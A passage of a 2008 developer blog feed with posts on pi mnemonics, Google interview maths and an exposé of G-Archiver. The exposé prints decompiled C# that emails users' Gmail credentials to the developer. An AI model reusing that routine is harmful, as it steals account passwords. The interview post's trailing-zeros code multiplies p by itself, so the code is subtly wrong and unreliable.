src="http://4.bp.blogspot.com/_PNe-bgIDyRw/R9pjX7UUzEI/AAAAAAAAAEY/VW7pHcxvzig/s200/pi.png" alt="" id="BLOGGER_PHOTO_ID_5177559984326888514" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Anyway. for a little 'history', π is an irrational number, i.e. its decimal (or any other) expansion is infinite and also non-periodical. As a number it is &lt;span style="font-weight: bold;"&gt;as old as the human civilization &lt;/span&gt;and as the ratio of the circle circumference to its diameter, it was first calculated (not precisely) even 2000 years BC. However it also participates in a lot of madness!&lt;br /&gt;&lt;br /&gt;To explain there is for example a Guinness record for a Chinese who managed to spell out some dozens of thousands of &lt;span style="font-weight: bold;"&gt;pi digits! &lt;/span&gt;And without error of course! There are also poems that help you remember the pi digits. For example&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-size:85%;" &gt;&lt;span style="font-weight: bold;"&gt;One&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A Poem&lt;br /&gt;A Raven&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-style: italic;font-size:85%;" &gt;     Midnights so dreary, tired and weary,&lt;br /&gt;    Silently pondering volumes extolling all by-now     obsolete lore.&lt;br /&gt;During my rather long nap - the weirdest tap!&lt;br /&gt;    An ominous vibrating sound disturbing my     chamber's antedoor.&lt;br /&gt;        "This", I whispered     quietly, "I ignore".&lt;br /&gt;...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you map each word to the number of its letters you will get:&lt;br /&gt;One-&gt;3, A-&gt;1, Poem-&gt;4, A-&gt;1, Raven-&gt;5, Midnights-&gt;9, so-&gt;2, dreary-&gt;6 etc&lt;br /&gt;that yields π = 3.1415926... and  so on&lt;br /&gt;This poem is called &lt;span style="font-weight: bold;"&gt;&lt;a href="http://users.aol.com/s6sj7gt/cadtext.htm"&gt;Cadaeic Cadenza&lt;/a&gt; &lt;/span&gt;and it can compute the first &lt;span style="font-weight: bold;"&gt;3834 digits! &lt;/span&gt;&lt;span&gt;The name also comes from a game with pi digits: If we map every letter to its position in the alphabet for &lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;Cadaeic &lt;/span&gt;&lt;/span&gt;we will get 3-1-4-1-5-9-3 which represents an approximation of pi (3.141593) There are also songs(or rythms) that map the digits to notes (or time intervals) that can be of assistance also.&lt;/span&gt;Total madness!&lt;br /&gt;&lt;br /&gt;There is also a 'visual representation' of the Pi madness, &lt;a href="http://www.imdb.com/title/tt0138704/"&gt;in the Pi movie (1998)&lt;/a&gt;, where as far as I can remember there is a brilliant mathematician that tries to predict patterns in real life(for example in stock markets) using the pi digits. His anxious endeavor ends when he finally...puts a drill into his brain! It is a nice movie for math geeks and is directed from Darren Aronofsky(Requiem For A Dream).&lt;br /&gt;&lt;br /&gt;Finally, a nice question for technical job interviews:&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;"What present would you make for Pi, if it was throwing a party?"&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div style="text-align: left;"&gt;We will discuss possible answers tonight at the party. Be there!&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-2145735941440089456?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/2145735941440089456/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=2145735941440089456' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/2145735941440089456'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/2145735941440089456'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/03/who-else-is-going-to-pi-party.html' title='Who Else Is Going To The Pi Party?'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_PNe-bgIDyRw/R9pjX7UUzEI/AAAAAAAAAEY/VW7pHcxvzig/s72-c/pi.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-6688644746979145093</id><published>2008-03-08T20:12:00.000-08:00</published><updated>2008-12-09T07:12:05.851-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='.net'/><title type='text'>A Gmail Passwords Theft Story</title><content type='html'>No talk about technologies. Not this time. Now, a little course on programming ethics using a real life experience.&lt;br /&gt;&lt;br /&gt;I was roaming the web, together with Mrs. Insomnia, early in the morning when I read a story of programming horror. It was talking about a malicious software application that stole Gmail accounts. You can found it in this &lt;a href="http://www.codinghorror.com/blog/archives/001072.html"&gt;Coding Horror blog post&lt;/a&gt;. Having nothing better to do I decided to verify the story and see for myself what was going on.&lt;br /&gt;&lt;br /&gt;To begin with, there was this guy with the codename "John Terry" (&lt;a href="http://en.wikipedia.org/wiki/John_Terry"&gt;John Terry&lt;/a&gt; is actually a football player, Chelsea's skipper and Chelsea is not only Hillary Clinton's daughter but also a football club in England), who developed an application called &lt;span style="font-weight: bold;"&gt;G-Archiver&lt;/span&gt;. This application can be found on popular software hosting sites like brothersoft.com. Anyway, what this terrific application does, is to back up your Gmail account to a local drive. Of course at some time you have to enter your &lt;span style="font-weight: bold;"&gt;Gm&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;ail account details, &lt;/span&gt;aka the &lt;span style="font-weight: bold;"&gt;username &lt;/span&gt;and the &lt;span style="font-weight: bold;"&gt;password. &lt;/span&gt;Well, the troubles begin here, because it seems that the developer has &lt;span style="font-weight: bold;"&gt;hardcoded &lt;/span&gt;into the application, a routine that sends the Gmail account details of the users to his own! So, every time a user enters his information, an e-mail is sent to the wise-guy, of course with a copy of the account information. If he is not a malicious password thief, this guy must be a &lt;span style="font-weight: bold;"&gt;mail spam mazochist&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Fortunately, a programmer who used the software, reverse-engineered G-Arc&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_PNe-bgIDyRw/R9Y8G7UUzDI/AAAAAAAAAEQ/9daOJU6IMUU/s1600-h/gmail-password-thief-screenshot3.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 270px; height: 172px;" src="http://4.bp.blogspot.com/_PNe-bgIDyRw/R9Y8G7UUzDI/AAAAAAAAAEQ/9daOJU6IMUU/s200/gmail-password-thief-screenshot3.jpg" alt="" id="BLOGGER_PHOTO_ID_5176390911408786482" border="0" /&gt;&lt;/a&gt;hiver (written in .NET). I can imagine his surprise when he found out what was going on. The Gmail account details of the malicious developer were there and he used them to login into his account. The picture shows exactly this. There were &lt;span style="font-weight: bold;"&gt;about 2000 e-mails &lt;/span&gt;waiting for him, that were all &lt;span style="font-weight: bold;"&gt;stolen &lt;span style="font-weight: bold;"&gt;Gmail usernames and passwords &lt;/span&gt;&lt;/span&gt;from other users. Now there is a name &lt;span style="font-style: italic;"&gt;Pawel Lesnikowski &lt;/span&gt;at the developer's contacts. If you Google search for the name, you will jump onto a site with .NET libraries and applications. Remember the name for later (see &lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;Update #2&lt;/span&gt;&lt;/span&gt; at end of post)&lt;br /&gt;&lt;br /&gt;Now we should make our own investigation and take it a little further. For &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_PNe-bgIDyRw/R9Nx_bUUy-I/AAAAAAAAADo/zqBXSju7cnI/s1600-h/theft-lesnikowski.JPG"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 205px; height: 196px;" src="http://3.bp.blogspot.com/_PNe-bgIDyRw/R9Nx_bUUy-I/AAAAAAAAADo/zqBXSju7cnI/s200/theft-lesnikowski.JPG" alt="" id="BLOGGER_PHOTO_ID_5175605731257535458" border="0" /&gt;&lt;/a&gt;the fun and to verify the story, I downloaded and installed G-Archiver. The application uses two libraries: &lt;span style="font-weight: bold;"&gt;Mail.dll &lt;/span&gt;and &lt;span style="font-weight: bold;"&gt;SM.dll&lt;/span&gt; both written for .NET. I opened them with &lt;a href="http://www.aisto.com/roeder/dotnet/"&gt;Reflector &lt;/a&gt;and first checked out the Mail.dll library, which is a mail lib from lesnikowski.com. &lt;span&gt;From a quick search I couldn't find anything suspicious in this assembly and seems like a helper library. Maybe our guy just used this library for his purpose. And maybe our wise-guy sent a mail to Lesnikowski and that's why he appeared in his contacts. (see &lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;Update #2&lt;/span&gt;&lt;/span&gt;) &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now to the creepy clue when I slice-opened the &lt;span style="font-weight: bold;"&gt;SM.dll &lt;/span&gt;assembly there was in front of me a function called &lt;span style="font-weight: bold;"&gt;CheckConnection(). &lt;/span&gt;What is its cause? For sure it does not check for&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_PNe-bgIDyRw/R9N2TrUUzBI/AAAAAAAAAEA/0w0_wNVQl58/s1600-h/theft-function.JPG"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 213px; height: 178px;" src="http://4.bp.blogspot.com/_PNe-bgIDyRw/R9N2TrUUzBI/AAAAAAAAAEA/0w0_wNVQl58/s200/theft-function.JPG" alt="" id="BLOGGER_PHOTO_ID_5175610477196397586" border="0" /&gt;&lt;/a&gt; the user connection. You probably have guessed right! It sends the users' account details of course! On the right it is the function disassembled by Reflector. Just a parenthesis: These guys were so amateurs that didn't even use an obfuscator to cover up their trails. Anyway, if you cannot view it well here is the code:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-size:85%;" &gt;MailMessage message = new MailMessage();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-size:85%;" &gt;message.To.Add("JTerry79@gmail.com");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-size:85%;" &gt;message.From = new MailAddress("JTerry79@gmail.com", "JTerry", Encoding.UTF8);&lt;br /&gt;message.Subject = "Account";&lt;br /&gt;message.SubjectEncoding = Encoding.UTF8;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;font-size:85%;" &gt;//&lt;span style="font-weight: bold;"&gt;Message body contains username and password&lt;/span&gt;....&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;font-size:85%;" &gt;message.Body = "Username: " + a;&lt;br /&gt;message.Body = message.Body + "\r\nPassword&lt;/span&gt;&lt;span style="font-style: italic;font-size:85%;" &gt;&lt;span style="font-weight: bold;"&gt;: " + b;&lt;/span&gt;&lt;br /&gt;message.BodyEncoding = Encoding.UTF8;&lt;br /&gt;message.IsBodyHtml = false;&lt;br /&gt;message.Priority = MailPriority.High;&lt;br /&gt;SmtpClient client = new SmtpClient();&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;font-size:85%;" &gt;//&lt;span style="font-weight: bold;"&gt;Enter the wise-guys account details...&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-size:85%;" &gt;&lt;span style="font-weight: bold;"&gt;client.Credentials = new NetworkCredential("JTerry79@gmail.com", "*******");&lt;/span&gt;&lt;br /&gt;client.Port = 0x24b;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-size:85%;" &gt;client.Host = "smtp.gmail.com";&lt;br /&gt;client.EnableSsl = true;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;font-size:85%;" &gt;//&lt;span style="font-weight: bold;"&gt;...and send the mail&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;font-size:85%;" &gt;client.Send(message); &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;And the user's Gmail credentials are stolen with high priority! As you can see, I have hidden the guy's gmail account password, not to protect him, but to &lt;span style="font-weight: bold;"&gt;protect&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;his users, &lt;/span&gt;the ones that &lt;span style="font-weight: bold;"&gt;trusted &lt;/span&gt;his application. After all, there are thousands of Gmail accounts inside and most of them might be still active. Now there is a company associated with the software called MateMedia Inc. And also the sad story is that if you &lt;a href="http://www.google.com/search?q=gmail+backup&amp;amp;hl=en&amp;amp;safe=active&amp;amp;start=10&amp;amp;sa=N"&gt;Google search for "gmail backup"&lt;/a&gt; the software site (garchiver.com) appears in the second page of the results! Too bad..&lt;br /&gt;&lt;br /&gt;As the Coding Horror's writer correctly points out, these kinds of incidents hurt the trust of people with professional application developers. However, developers also discovered and exposed this fraud. It is a race in which all developers participate. Ad infinitum or while(true)..&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;Update #1: &lt;/span&gt;&lt;/span&gt;As I heard the company posted on their site that this piece of code was for testing and it was not removed, as it had to, for release. :) Yeah, right..&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;Update #2: &lt;/span&gt;&lt;/span&gt;As I wrote in the initial post, &lt;span style="font-weight: bold;"&gt;there was nothing suspicious&lt;/span&gt; in the Lesnikowski mail library and that the G-Arhiver developer possibly used it and at some point wrote an e-mail to him. It turns out that this actually happened, after I received an e-mail from &lt;span style="font-weight: bold;"&gt;Pawel Lesnikowski&lt;/span&gt; stating in addition that they &lt;span style="font-weight: bold;"&gt;abused&lt;/span&gt; his work &lt;span style="font-weight: bold;"&gt;without acquiring a license &lt;/span&gt;and &lt;span style="font-weight: bold;"&gt;that they contacted him&lt;/span&gt; having questions about his Mail.dll library. I therefore feel obliged to make some minor changes to the original post. His work can be found at&lt;a href="http://www.lesnikowski.com/"&gt; lesnikowski.com site&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-6688644746979145093?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/6688644746979145093/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=6688644746979145093' title='33 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/6688644746979145093'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/6688644746979145093'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/03/gmail-password-thefts-story.html' title='A Gmail Passwords Theft Story'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_PNe-bgIDyRw/R9Y8G7UUzDI/AAAAAAAAAEQ/9daOJU6IMUU/s72-c/gmail-password-thief-screenshot3.jpg' height='72' width='72'/><thr:total>33</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-3318800435561229648</id><published>2008-03-02T11:34:00.000-08:00</published><updated>2008-12-09T07:12:06.179-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mathematics'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Google Interviews Part V - Just Two More Questions</title><content type='html'>This is the last part of posts describing my own experience interviewing with Google. You may find &lt;a href="http://developeronline.blogspot.com/2008/01/google-interviews-part-ii.html"&gt;the first interview here&lt;/a&gt; and then follow the traces until this last one.&lt;br /&gt;&lt;br /&gt;Time had already passed (almost a month) after three successive interviews with Google and this last one was most probably the critical one. I did not prepare for this as much as the previous. The whole thing tires you up and at some point it seems better to relax and concentrate on the psychology rather than the technical stuff.&lt;br /&gt;&lt;br /&gt;I was only asked two technical questions, and since my language of &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/R8snsMlTFAI/AAAAAAAAADQ/ypO8YD6k0jw/s1600-h/_google_interview.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 259px; height: 173px;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/R8snsMlTFAI/AAAAAAAAADQ/ypO8YD6k0jw/s200/_google_interview.jpg" alt="" id="BLOGGER_PHOTO_ID_5173272237210539010" border="0" /&gt;&lt;/a&gt;choice was Java the interviewer wanted to see some Java code for the answers. In summary, this interview was perfect. While in all previous interviews, mostly the first and the second, I had some important flaws in my performance, but this one was different. And all this because I was playing in my field.&lt;br /&gt;&lt;br /&gt;Google at some point asks for a CV. However, the way I see it, Google and other major software companies search always for something unconventional in the candidate's application. You could say of course you know 5 or 10 programming languages, or that you can build an internet spider in 1 minute, however there might be some knowledge you have, that is somewhat rare and hence you should mention. In my case, this is Number Theory.&lt;br /&gt;&lt;br /&gt;For me, number theory is a passion that has not passed over time. It was love in the first sight, when I became aware of it, maybe at the age of 15 or so, and from that time it was the field mathematics that I was really feeling comfortable with. Anyway, it is not hard to see why it has been named as the "Queen Of Mathematics". First, it is very easy to grasp the basics (primes, divisors etc) since they are inherently tractable by the human brain. After all, every human being starts my learning how to count, which is the first step of the true intelligence, aka understanding that 5 ice creams and 5 cars, share something in common: that they are 5. This helps solving silly cases like, if I ate 5 ice creams and then I ate 1 more, how many did I eat? There is no need to think of ice creams, nor the eating process. All you have to do is to construct the proper model for this situation: use natural numbers and solve 5+1.&lt;br /&gt;&lt;br /&gt;Another great thing with number theory, is that your 'lab' can be a blank piece of paper. You can argue that 15 is divisible by 3, but all you need is a paper to perform the division. While a physicist might say that in light speeds some hypo-atomic elements, called mambojambions, are created, he still needs a gigantic, CERN-like laboratory to test his theories.&lt;br /&gt;&lt;br /&gt;Anyway, I myself was raised in a Pythagorean culture(numbers are holy) and so I claimed in my  CV to know some number theory stuff. Although I was a little worried if I would be able to defend such claims (after I would be talking to Google), it soon proved to be a wise decision. Both in phone and on site interviews with Google, there was no better time for me than doing number theory. And to much of my surprise, and despite that Google's name is inspired by a natural number (or a unit of measure if you wish), all the 'Googlers' that I spoke and met with, did lack elementary knowledge on the field. This time, (I assume) the interviewer had dug in my profile and wanted to see for himself. Every question and conversation was related to Number Theory.&lt;br /&gt;&lt;br /&gt;So, the first question was about sets: &lt;span style="font-weight: bold;"&gt;"Create a function, called &lt;span style="font-style: italic;"&gt;powerSet()&lt;/span&gt;, &lt;span style="font-weight: bold;"&gt;that will output the power set of the input set." &lt;/span&gt;&lt;/span&gt;The power set in Algebra theory is the set of all subsets of a set (no..bull-set!) If a set has N elements then the power set will have 2^N elements. So if a set is denoted by {a,b} with a,b as elements then the power set is { {},{a},{b},{a,b} }.&lt;br /&gt;The {} is the empty set. Note that all elements of the power set are sets. Recursion can help for solving this problem. If for example the &lt;span style="font-weight: bold;"&gt;powerSet &lt;/span&gt;function can produce power sets for sets that have at most N elements how should we solve for the N+1 case?&lt;br /&gt;&lt;br /&gt;If we denote sets with capital letters and the initial set as &lt;span style="font-weight: bold;"&gt;A, &lt;/span&gt;we can use the following algorithm&lt;br /&gt;&lt;span style="font-style: italic;"&gt;1. define &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;B &lt;/span&gt;&lt;span style="font-style: italic;"&gt;set initially empty&lt;/span&gt; &lt;span style="font-style: italic;"&gt;&lt;br /&gt;2. &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;a = extract one element from A&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;3. &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;add powerSet(A) to B&lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;4. &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;for every set in B, say X, add a, and then add it to B&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;5. return &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;B&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Making the proper checks, this yields a function that can produce the power set of a set. For the Java case you can use the &lt;span style="font-weight: bold;"&gt;java.util.Set &lt;/span&gt;interface to write the code. I was asked to write the Java code but not asked any further questions, like complexity, runtime and so on. So we moved to the next and final question.&lt;br /&gt;&lt;br /&gt;This was: &lt;span style="font-weight: bold;"&gt;"Create a function, called &lt;span style="font-style: italic;"&gt;findZeros()&lt;/span&gt;, &lt;span style="font-weight: bold;"&gt;that will compute the number of zeros in the decimal representation of &lt;span style="font-style: italic;"&gt;n!&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;". &lt;/span&gt;&lt;/span&gt;Now this is interesting and despite seemingly easy it has subtle points. For example, 5! = 1.2.3.4.5= 120 has one zero and 10! = 1.2.3.4.5.6.7.8.9.10 = 3628800 and has two zeros. Now the obvious answer is to produce this C-style pseudo code:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;int findZeros(int n) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;z&lt;-0;&lt;/span&gt; &lt;span style="font-style: italic;"&gt;&lt;br /&gt;N&lt;- n!&lt;/span&gt; &lt;span style="font-style: italic;"&gt;&lt;br /&gt;while ( N%10==0) { z++; N/=10;}&lt;/span&gt; &lt;span style="font-style: italic;"&gt;return z;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;It seems right but has a terrible flaw: it fails at very 'small' values of &lt;/span&gt;&lt;span style="font-style: italic;font-size:100%;" &gt;n, &lt;/span&gt;&lt;span style="font-size:100%;"&gt;in our 4-byte world, for n=15. Using some Java code like below, we can verify this case.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-style: italic;"&gt;int n=1,i=2,m=1;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-style: italic;"&gt;  while(n&gt;=m)&lt;/span&gt; &lt;span style="font-style: italic;"&gt;  {&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;  m=n;  &lt;/span&gt;&lt;span style="font-style: italic;"&gt;n*=i;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt; &lt;/span&gt;&lt;span style="font-style: italic;"&gt;  System.out.println("Previous value "+m+" Current value "+n+" Counter "+i);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   i++;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;  }&lt;/span&gt; &lt;/span&gt;&lt;span style="font-style: italic;font-size:100%;" &gt;&lt;br /&gt;System.out.println("OOPS! Overflow!");&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;So, if our code works only for 14 cases, it is pretty much useless. We should do better than that.&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;For number theory geeks, like myself, this means show time! The equation below is called the &lt;a href="http://mathworld.wolfram.com/LegendresFormula.html"&gt;&lt;span style="font-weight: bold;"&gt;Legendre's formula&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/R8sXxMlTE_I/AAAAAAAAADI/3Pgu3zTnfCQ/s1600-h/eq.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 179px; height: 119px;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/R8sXxMlTE_I/AAAAAAAAADI/3Pgu3zTnfCQ/s200/eq.jpg" alt="" id="BLOGGER_PHOTO_ID_5173254730923840498" border="0" /&gt;&lt;/a&gt;and basically computes the factorization of &lt;/span&gt;&lt;span style="font-style: italic;font-size:100%;" &gt;&lt;span style="font-weight: bold;"&gt;n!&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;. The exponent in which prime &lt;/span&gt;&lt;span style="font-style: italic;font-size:100%;" &gt;&lt;span style="font-weight: bold;"&gt;p &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span&gt;is 'participating' in the factorization is the sum in the figure. Now, we should use it for our case. 10 is the product 2x5. So, the exponents of 2 and 5 in the factorization of &lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;n! &lt;/span&gt;&lt;/span&gt;defines how many zeros we get. For example, 10! = 1.2.3.4.5.6.7.8.9.10 = (2^8).(3^3).(5^2).7 So 2 is found 8 times and 5 is found 2 times in the factorization, hence if we pair up the 2's and 5's we get two zeros. Now, there are obviously more 2's than 5's in the expansion so finally we have to answer at the question:&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;What is the exponent of 5 in the factorization of n!&lt;/span&gt;?&lt;br /&gt;Based on the reasoning above this is equal to the number of zeros of &lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;n!&lt;/span&gt;&lt;/span&gt;.&lt;br /&gt;Based on Legendre's formula we have to calculate:&lt;br /&gt;[n/5]+[n/5^2]+[n/5^3]+... to infinite. This is done for example by the following Java code&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;calculateZeros(int n) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt; int s=0,r,p=5;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;while((r=(n/p)) !=0)&lt;/span&gt; &lt;span style="font-style: italic;"&gt;&lt;br /&gt;{s+=r;&lt;br /&gt;p*=p;}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;System.out.println(n+"! has "+s+" zero"+((s==1)?"":"s"));&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;font-size:100%;" &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;For example, 25 = 1.2.3....23.24.25 = 15511210043330985984000000. Running the above code will produce the message &lt;span style="font-style: italic;"&gt;25! has 6 zeros.&lt;/span&gt; Instead of messing with a number with 26 digits (25!) you only have to deal with the number 25. Why?&lt;br /&gt;&lt;br /&gt;In the sum S(n) = [n/5]+[n/5^2]+[n/5^3]... the first term, [n/5], computes how many numbers up to &lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;n &lt;/span&gt;&lt;/span&gt;are multiples of 5. For the 25 case there are 5 of them: 5,10,15,20,25. The second computes all multiples of 25, i.e. only one. The third and all others are zero. A number that in its factorization, the prime 5 is in the power of &lt;span style="font-weight: bold;"&gt;k, &lt;/span&gt;e.g. 10 = 2.5 and k=1 or 25 = 5^2 and k=2, participates in the first k terms of the sum by adding one to each term&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;. Hence its overall contribution is k, hence the sum S(n) calculates the power of 5 in the factorization of &lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;n!&lt;/span&gt;&lt;/span&gt;, and therefore the number of zeros in the decimal representation,  Q.E.D.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt; That was it! &lt;/span&gt;&lt;span style="font-size:100%;"&gt;There is no other way to handle such big values and the solution can deal with really gigantic numbers without explicit calculation. The interviewer had elementary number theoretic knowledge&lt;/span&gt;&lt;span style="font-size:100%;"&gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt; but was able to follow the reasoning and we had a very nice conversation after that. He seemed to be fond of such mathematical tricks as the one we dealt with.&lt;br /&gt;&lt;br /&gt;In summary, I think this was the interview question that booked me the plane ticket to fly to the Google site. I was very satisfied after we hang up and I was impatient for the outcome but deep inside I was sure it was an ideal interview session and that my chances were great. The next morning I received a phone call from Google inviting me for the on site interviews. Mission was accomplished.&lt;br /&gt;&lt;br /&gt;This post ends a series of posts in which I wrote about my phone interviews with Google along with many interview questions. For the on site interviews I am bound to an NDA so maybe I will post them encrypted! That's all for now about Google interview questions. Until, I come back for the on site experience remember a small tribute to Number Theory: &lt;/span&gt;&lt;span style="font-style: italic;font-size:100%;" &gt;"Die ganzen Zahlen hat der liebe Gott gemacht, alles andere ist Menschenwerk" (Numbers were created by good Lord. Everything else is 